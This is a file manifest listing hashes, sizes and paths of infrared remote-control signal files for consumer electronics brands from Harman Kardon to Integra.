+F:fc5d4e739f624437aa21fcef37cd4d58:131:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir +F:23ba0c3519efc33308d405f9941c6dea:413:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir +F:4eb79c11086c3b162d5786f85c1694e4:2523:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir +F:1414757e02354d34de006fd3c52a4f8e:2318:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir +F:689372ccb2f005e6b635ed3f9a39c8c4:1686:infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir +F:400aee2fe1e594d1ad0f532de53f79a2:6029:infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir +F:467f8de893c2396a506da6e577445637:3366:infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir +F:8eae536dc2087ed80cbf975d1420e82a:1359:infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir +F:59a76eb8ce1f96dbc36527badd6128b1:4100:infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir +F:a92ff148f9245a2ee9e33350a4832d4f:2599:infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir +F:45a2583845fd189ca0c021623ac97734:4093:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir +F:9073b9b7c2a631c7470c7f602c18526e:2846:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir +F:384fa4d05d91e5327f93a95387ed4edf:2010:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir +F:7e357ff393e854baae18bbbea4fecdbe:2135:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir +F:0401e926088e2d13e22cae85eb56ef86:1866:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir +F:8655b396cf602f7c0c705696853a86bb:130:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir +F:1364b59edd24b76cf9f5faca8ee4896b:795:infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir +D:infrared/_CSV-IRDB_/Harman Video/Video Projector +F:7e357ff393e854baae18bbbea4fecdbe:2135:infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir +F:8655b396cf602f7c0c705696853a86bb:130:infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir +D:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor +F:cfbb88be036cb198fe896f0f8837e004:4693:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir +D:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095 +D:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP +D:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808 +D:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR +D:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q +D:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb +F:a7579f54fc229e379294bb9b7fc6a938:3207:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir +F:dd544f44da78227af1336511910fd7ed:3255:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir +F:bbed8b83e65cb80a7d431fe40e9386c1:3653:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir +F:53891974ea9e08967628f17678a1b499:4222:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir +F:d852b7fb168b623f96fa1269f81ac62f:3376:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir +F:7ee6d74e7c958725941838598b1d9cc0:2471:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir +D:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty +F:1665ab3ec76eba9d7cc42329f49f2b47:3158:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir +D:infrared/_CSV-IRDB_/Herma/Dipper +F:5f798aa1022eea41cb77ce58debd4550:11734:infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir +D:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio +F:db38ac701cb560394183804455b6faa7:3806:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir +D:infrared/_CSV-IRDB_/Hewlett Packard/Plasma +D:infrared/_CSV-IRDB_/Hewlett Packard/TV +F:864949d6e1a25d41c6f3298c9d062134:3730:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir +F:7a3586e2701043a52a020df061d8dcda:1391:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir +F:864949d6e1a25d41c6f3298c9d062134:3730:infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir +F:8428cdbe67aec06445fe655d26556fb7:2777:infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir +D:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics +F:3cf638a8f2ba9d6470957f415e73dfad:315:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir +D:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002 +F:666d7bdcc6128ffbab7d316e84c2c55d:1574:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir +D:infrared/_CSV-IRDB_/Hirschmann/Satellite +D:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426 +F:894a52af2d69cc815303fdaa0ca1d3a9:3223:infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir +F:08cc224f7c989a578380b0b485e8e49c:2669:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir +D:infrared/_CSV-IRDB_/Hitachi/CD Player +D:infrared/_CSV-IRDB_/Hitachi/Cable Box +D:infrared/_CSV-IRDB_/Hitachi/DSS +D:infrared/_CSV-IRDB_/Hitachi/DVD Player +D:infrared/_CSV-IRDB_/Hitachi/Display +D:infrared/_CSV-IRDB_/Hitachi/LCD +D:infrared/_CSV-IRDB_/Hitachi/Monitor +D:infrared/_CSV-IRDB_/Hitachi/Plasma +D:infrared/_CSV-IRDB_/Hitachi/TV +D:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941 +D:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947 +D:infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345 +D:infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E +D:infrared/_CSV-IRDB_/Hitachi/Unknown_FX7 +D:infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV +D:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi +D:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf +D:infrared/_CSV-IRDB_/Hitachi/VCR +D:infrared/_CSV-IRDB_/Hitachi/Video Projector +F:cba21fd9b472783541f9efcfa271a761:3345:infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir +F:d18253628f7a3565c4db2155ca26295b:596:infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir +F:5d919a57f4736c44bf959db649b00a4f:10463:infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir +F:430c261caa5156b07698373643f8eeb9:327:infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir +F:d39d1a99fdcb85f10736ed77f44726e8:135:infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir +F:76f78443ced6c29f04f50d5445160a97:130:infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir +F:e6a464f8708e27cf51d36aa314f8138f:2321:infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir +F:dec78f8cebf41872bef5b41a1042b5ac:1975:infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir +F:5db0d8984124719e13b37ec7c1446a18:133:infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir +F:d87ae10244c0c960c2acc9468dd71462:3636:infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir +F:4e45dcd761331d65dab63e87f7b2cb80:790:infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir +F:344be3d224d0efe336026b34721a1a89:133:infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir +F:27356bc242b4f37d6b68968c4b017ca8:1909:infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir +F:22f1b65f60d0d61b2211939e0661f781:8495:infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir +F:00a43fc86abf080cf3af7b9d5f6fa682:3170:infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir +F:7539710bf37d7d604b69c196dbf77aca:126:infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir +F:cd3fb21a1142cad1ea45494c4be28b18:315:infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir +F:de5e483ef6b4baf1d596f048493b9b5b:230:infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir +F:18c5858bbc623ee17cf060b7108ecd6d:2799:infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir +F:ebaef8b2cafd0d8d342f9405db2ff684:2042:infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir +F:c0eaad5c1ace492917f0b978db748bdf:18900:infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir +F:a823396c63f71d9648b5ecfc5d7661da:137:infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir +F:c4902678e2d032922c945814082ae7a3:1681:infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir +F:e63915fe71c20cb30cf6982779eb18ff:222:infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir +F:8e8bca1ecdeb43aafe6259aca3c2dd0b:2672:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir +F:bbf6b58eb7452b746d6e5489e40c6f29:2940:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir +F:4c80a4528340c9f6f8651acb7c4f6bae:2496:infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir +F:fe28a1827fd0247ea9be911040912a8c:3936:infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir +F:fa5c9b877f8351f3a3c5e3c1456887e6:2735:infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir +F:5f055452db744fd1143d1ed17ae8c108:2491:infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir +F:ad5142d61e77b2094e1d70988aa0018d:998:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir +F:0e764e6c05cce6a127d2fad12975126f:2394:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir +F:94b92e0a2468a0e64156a8136828ef3d:2891:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir +F:6ea65700f2cd734520a49c46ea10ed5c:3574:infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir +F:89d81703cdbb04b3981d08893e00d0bc:7320:infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir +F:fb2c32db5b4b8be7421a86515a249aa9:423:infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir +F:5a39d800eea0e106be6b92fd220e59e0:1806:infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir +F:595c84ecaacb255a245bab998d5f5e64:5777:infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir +F:867bda748a5102be37cba5b941cdb6bf:1721:infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir +F:955ef6f2949b71d17714742f0b82acef:37947:infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir +F:21198ae6284da37addd712a44534449a:23465:infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir +F:95e57a40323fb58d37581025f78c7181:1183:infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir +F:a11b03fdc24dc634c9c6d77f693ee0d3:900:infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir +F:f8daeaf579bde5f52e9f7b592bc22265:9293:infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir +F:75a1f5da487c6ad790fa158a044abe39:1827:infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir +D:infrared/_CSV-IRDB_/Hiteker/DVD Player +F:7d2d329e3bde9ef3d5fdf7fb2bf4f3a9:3269:infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir +D:infrared/_CSV-IRDB_/Hivion/Unknown_SAT +F:0c8d10bd92418601d5a197b59280c160:3812:infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir +D:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner +F:1e50702ef036f28b2a1947a58fae01a9:5611:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir +D:infrared/_CSV-IRDB_/Homecast/Satellite Receiver +D:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S +D:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T +F:b447cb23b08b8b406e70708e68da980e:4361:infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir +F:593c8d55f7c9ac732eb129e92b1f6951:3048:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir +F:92e7e8606a4ba76ea546eace1bbf1837:3437:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir +D:infrared/_CSV-IRDB_/Hughes/DSS +D:infrared/_CSV-IRDB_/Hughes/DVR +D:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo +D:infrared/_CSV-IRDB_/Hughes/HD with TiVo +D:infrared/_CSV-IRDB_/Hughes/Satellite +D:infrared/_CSV-IRDB_/Hughes/TiVo +D:infrared/_CSV-IRDB_/Hughes/Unknown_DSS +D:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8 +D:infrared/_CSV-IRDB_/Hughes/Unknown_b2 +D:infrared/_CSV-IRDB_/Hughes/VCR +F:741afe996d8c1c8aea238ed7b6b81d58:791:infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir +F:f0794003981235bd25ddc06b24ca8459:3073:infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir +F:035c1d925ede773bb2ef77b78d0ae102:11334:infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir +F:5489eac665d981cd1964a76714057f3e:4230:infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir +F:28386b83f8f9c5fc918bf7cd8b22e9ca:597:infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir +F:eb249f4c9a1b26d232dc8de07d194519:504:infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir +F:b3817adc827f07d806ceaa451bb60bd5:2215:infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir +F:f00c4c0a7af7b817d28e5fb4b00ac239:213:infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir +F:72583321fb88211048ea023f89dbba38:3821:infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir +F:be4b075ffea20da964aa6aab2e9974a5:3346:infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir +F:a93baf855cdb415530f270c77f071a1c:3315:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir +F:8fa699aafe391ac658551ef1e49435c0:5414:infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir +F:741afe996d8c1c8aea238ed7b6b81d58:791:infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir +F:f0794003981235bd25ddc06b24ca8459:3073:infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir +F:eb4e08860765ea661ddceaf9f9293d16:11603:infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir +F:a1634b1a61ae391845b102800dab7213:591:infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir +F:28386b83f8f9c5fc918bf7cd8b22e9ca:597:infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir +F:b63902ec7052a8e0ad97481c24a6164a:504:infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir +F:b3817adc827f07d806ceaa451bb60bd5:2215:infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir +F:f00c4c0a7af7b817d28e5fb4b00ac239:213:infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir +F:28af522f421f02436bcabca4928668ca:3091:infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir +F:8adf250743fe714568eaf7e289640a06:2301:infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir +F:15a3de04020664ca67d2069bdbaaa14a:3062:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir +F:8adf250743fe714568eaf7e289640a06:2301:infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir +F:242d452e9f761dd56e9de5e8e957a804:2049:infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir +F:f7082276b7ac72e3db014445f3b83c20:132:infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir +D:infrared/_CSV-IRDB_/Humax/Com Hem Box +D:infrared/_CSV-IRDB_/Humax/HDTV Tuner +D:infrared/_CSV-IRDB_/Humax/Satellite +D:infrared/_CSV-IRDB_/Humax/Tivo + DVD +D:infrared/_CSV-IRDB_/Humax/Unknown_F1CI +D:infrared/_CSV-IRDB_/Humax/Unknown_HUMAX +D:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI +D:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P +D:infrared/_CSV-IRDB_/Humax/Unknown_RS-521 +D:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf +F:f4e405242a0221cfa779b033d18212bb:3398:infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir +F:2e9610ee7743a3b26ffd1135ac46573a:3233:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir +F:3af3ebfc580fea0f40dfaf4354523e47:2900:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir +F:97f4e4148537cc8bf7c0934e771ea8ee:4990:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir +F:0e6d8047e9a54534dc72ba1790619076:3410:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir +F:05ee1b31016a5bb36539049701e979f1:310:infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir +F:56e03d70ca178d7f0e4e68670b9c862e:3700:infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir +F:629cb54a986f4dc5895b9391e5755fb6:3275:infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir +F:040db42cc9264346d9f8c1ac9f9d7c57:3766:infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir +F:d4cfaf0a42f46743a7fddb1bdd2e0fa7:3135:infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir +F:3f249f19952a3f7e3906a84448492124:3977:infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir +F:b6b5263d57391ba0d2e0606211d76325:3152:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir +F:94a19136b4afd63d4c97aeb2c292279b:4798:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir +F:ad2e378d548a8423eddd53cbae39d4d5:3756:infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir +F:a12b1d32d50db8e754ec2034a6c89e77:3145:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir +D:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N +D:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t +F:631a69d6e94ce1bd729592922b56713f:4669:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir +F:b7a8f34aeb84f82ce62766db83001f7c:2231:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir +D:infrared/_CSV-IRDB_/I-O Data/DVD Player +F:31d82a67c6200da4cf5d538cd50fc514:4364:infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir +D:infrared/_CSV-IRDB_/I24/Unknown_I24 +F:7ecf76e74132e9e009880dc0c08fefb9:2303:infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir +D:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray +F:3e07c8f8a44893b2e96f4ff3bfaf8b4e:5002:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir +D:infrared/_CSV-IRDB_/ITT/Unknown_ITT +D:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA +D:infrared/_CSV-IRDB_/ITT/Unknown_RC40 +D:infrared/_CSV-IRDB_/ITT/Unknown_RC51 +F:14665a88e63d9ca5baa0ddb746d34e00:3813:infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir +F:f29e8f6db0f3680a3f4edd3beb639b76:4960:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir +F:64adeb46c4974172ddd93917f1586663:1545:infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir +F:e44680d63906a4fd95fa75a6e55276ce:1360:infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir +D:infrared/_CSV-IRDB_/Illusion/Unknown_M3 +F:961065743f4cecadcd9bc4ef81331572:3697:infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir +D:infrared/_CSV-IRDB_/Imerge/Digital Jukebox +F:19d7c9304f6c84126ddc135e691cb210:3637:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir +F:8ddeb9bc3800ef9a50b40472555066c3:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir +F:d5c8e7630c3da761503df72671b4e480:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir +F:712556c8ba8bbb750dad58cc95ddab16:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir +F:4ea4a5ce57f13897d4e1870c908e3196:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir +F:f35246ddb3a19a891d5b3bbdfffad3c1:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir +F:e257cfa045ed4b868693914b17123792:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir +F:c94ec919c0b7561fc769186467ca2459:1768:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir +F:cf81600de3073dec4296e2cb6966c00c:929:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir +D:infrared/_CSV-IRDB_/InFocus/DLP Projector +D:infrared/_CSV-IRDB_/InFocus/Plasma +D:infrared/_CSV-IRDB_/InFocus/Projector +D:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600 +D:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay +D:infrared/_CSV-IRDB_/InFocus/Unknown_remote +D:infrared/_CSV-IRDB_/InFocus/Video Projector +F:e7f30622ed35ea1dcabc8923e002517d:3130:infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir +F:ef95d1902b971f4d44e4e146e65c0d4d:3160:infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir +F:56d6a7673da4e88644443e0ba8fee771:3297:infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir +F:e61c197171397d6117e0bce4a9248289:1475:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir +F:3cafd8a0106ea7261bea05e9056f8eb6:1856:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir +F:71f059c07b817e90a72a29bd42ba5eef:1002:infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir +F:1629806784ac4b30c278d9d0a622f492:126:infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir +F:81bda3db485fe15085f94a0d0fbeaa8c:2124:infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir +F:ba12df5058c7c8d8c099df5c01e487da:1481:infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir +F:dab999f61e5c7fb8c1706ed0b3a313fc:9494:infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir +F:e7f30622ed35ea1dcabc8923e002517d:3130:infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir +F:416898160f26fda94e1c23fcb051af41:1182:infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir +F:ebbe4b704d3c0560982010a12351c863:3017:infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir +F:bc03ecb04f7526727a71aacbd966f082:1548:infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir +D:infrared/_CSV-IRDB_/Insignia/Blu-Ray +D:infrared/_CSV-IRDB_/Insignia/DVD Player +D:infrared/_CSV-IRDB_/Insignia/TV +D:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301 +F:1176b0c8772e9d8a1ce161467d8b401f:3456:infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir +F:3d2d8a45a6e2aa6680bb821e7c7cd2ae:3992:infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir +F:3d2d8a45a6e2aa6680bb821e7c7cd2ae:3992:infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir +F:0991f0f0bcff4c7521878224c3f4cf92:3996:infrared/_CSV-IRDB_/Insignia/TV/134,5.ir +F:f90c2a50793df94637653332ed92683b:4557:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir +D:infrared/_CSV-IRDB_/Instant Replay/VCR +F:fd3a4652d9e2af5010678fca842585b3:3310:infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir +F:93c0397e430e19bad3355250fef7221d:224:infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir +F:cde40b66c19392d55e97f5921e39d802:321:infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir +F:80afb1085b459da96fb579783823e358:3050:infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir +F:f7082276b7ac72e3db014445f3b83c20:132:infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir +D:infrared/_CSV-IRDB_/Integra/Amplifier +D:infrared/_CSV-IRDB_/Integra/Blu-Ray +D:infrared/_CSV-IRDB_/Integra/CD Player +D:infrared/_CSV-IRDB_/Integra/DVD Player +D:infrared/_CSV-IRDB_/Integra/Digital Audio +D:infrared/_CSV-IRDB_/Integra/HD DVD +D:infrared/_CSV-IRDB_/Integra/Integrated Amplifier +D:infrared/_CSV-IRDB_/Integra/Media PC +D:infrared/_CSV-IRDB_/Integra/Pre-Amplifier +D:infrared/_CSV-IRDB_/Integra/Receiver +D:infrared/_CSV-IRDB_/Integra/Tuner +D:infrared/_CSV-IRDB_/Integra/iPod +F:e54a3bd62ce3ddc12204420038ff280a:2996:infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir +F:d4043bb06b7c2a5a7a5c2c8f34b2f708:1188:infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir +F:14cc86b6bcc4b8e077605237c247c33c:4212:infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir +F:0fe0c3ef6217fb44b6586097e2a9c6fe:4205:infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir +F:74ef62a79067b724ee73606028f0ed52:5114:infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir +F:2963ccaf7b71680a246ecc47d0c2133b:19296:infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir +F:82bb324706ae1c45b8903d07b5de9320:4797:infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir +F:9161d58f499476684433af21ad666e8b:784:infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir +F:d8085a89223c84eded5f453269ad9894:131:infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir +F:62a11be2f1c7d4e0209b19db4a543244:3125:infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir +F:82bb324706ae1c45b8903d07b5de9320:4797:infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir +F:e54a3bd62ce3ddc12204420038ff280a:2996:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir +F:d4043bb06b7c2a5a7a5c2c8f34b2f708:1188:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir +F:8dd92812909cd3fdac4ebbf9562a27e4:7268:infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir +F:298123583f88b741e9ee8bb7461263ee:3256:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir +F:db429a03a79117b36bec7c582d53313e:2607:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir +F:86b26320c4924a76299b6910dc482b05:1369:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir +F:de28f4cb254c1fbf7552d8f41621c4aa:6189:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir +F:69af92eb8397f05268cfb751ded85684:3136:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir +F:4ea9fb02dfbc0e6401519aa4c704d0c1:6720:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir +F:c7d766f54f9cc5d819ec10c0a0374b03:222:infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir +F:23459f2386dabdf8a26176e7e5503f1c:24460:infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir 